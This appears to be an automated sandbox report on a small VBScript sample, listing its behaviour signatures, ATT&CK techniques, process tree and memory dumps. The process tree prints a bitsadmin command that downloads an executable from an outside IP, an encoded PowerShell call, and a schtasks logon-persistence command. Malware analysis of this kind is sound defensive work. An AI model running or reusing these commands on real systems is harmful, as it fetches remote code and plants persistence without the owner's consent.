Analysis
- max time kernel
150s - max time network
12s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
16/07/2026, 17:44
General
- Target triage_ult.vbs
- Size 924B
- Sample260716-wbas4ad16w
- SHA256 2fdcabe4f39b99aa289ff00ff22ec49a578a3e9093e30bd06621b3466f56415e
Malware Config
Signatures
- Download via BitsAdmin 1 TTPs 1 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\triage_ult.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer /priority high myJob http://62.210.133.15/malicious.exe C:\Windows\Temp\malicious.exe2⤵
- Download via BitsAdmin
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand U3RhcnQtUHJvY2VzczogIk5vdGVwYWQuZXhlIg==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "TriageTest" /tr "wscript.exe C:\Users\Admin\AppData\Local\Temp\triage_ult.vbs" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1592-0-0x00007FF8C765F000-0x00007FF8C7660000-memory.dmp
memory/1592-1-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-2-0x000001B6DFAE0000-0x000001B6DFB02000-memory.dmp
memory/1592-5-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-6-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-7-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-8-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-9-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-10-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-14-0x000001B6DFDA0000-0x000001B6DFDBE000-memory.dmp
memory/1592-15-0x000001B6DFDC0000-0x000001B6DFE72000-memory.dmp
memory/1592-11-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-16-0x000001B6DFB90000-0x000001B6DFB9A000-memory.dmp
memory/1592-17-0x000001B6DFFF0000-0x000001B6E000E000-memory.dmp
memory/1592-18-0x000001B6DFFD0000-0x000001B6DFFDA000-memory.dmp
memory/1592-20-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-19-0x000001B6E0030000-0x000001B6E004C000-memory.dmp
memory/1592-21-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-22-0x000001B6DFFE0000-0x000001B6DFFE8000-memory.dmp
memory/1592-23-0x000001B6E0010000-0x000001B6E0016000-memory.dmp
memory/1592-24-0x000001B6E0020000-0x000001B6E002A000-memory.dmp
memory/1592-25-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-26-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-27-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-28-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp
memory/1592-30-0x00007FF8C74D0000-0x00007FF8C7E74000-memory.dmp